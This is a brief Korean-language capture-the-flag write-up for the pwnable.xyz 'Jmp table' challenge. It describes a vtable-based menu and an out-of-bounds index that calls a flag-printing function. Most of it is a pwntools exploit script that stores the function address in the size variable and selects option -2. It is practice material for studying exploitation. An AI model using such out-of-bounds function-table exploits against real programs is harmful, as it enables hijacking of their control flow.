pwn/pwnable.xyz
pwnable.xyz / Jmp table
lok2h4rd
2022. 5. 11. 20:25
- 힙 할당
- 힙 해제
- 쓰기
- 읽기
- exit
각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다
할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다
size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다
from pwn import *
p = process("./jmp_table")
def do_malloc(length):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(length))
do_malloc(0x400A31)
p.recvuntil(b"> ")
p.sendline(b"-2")
p.interactive()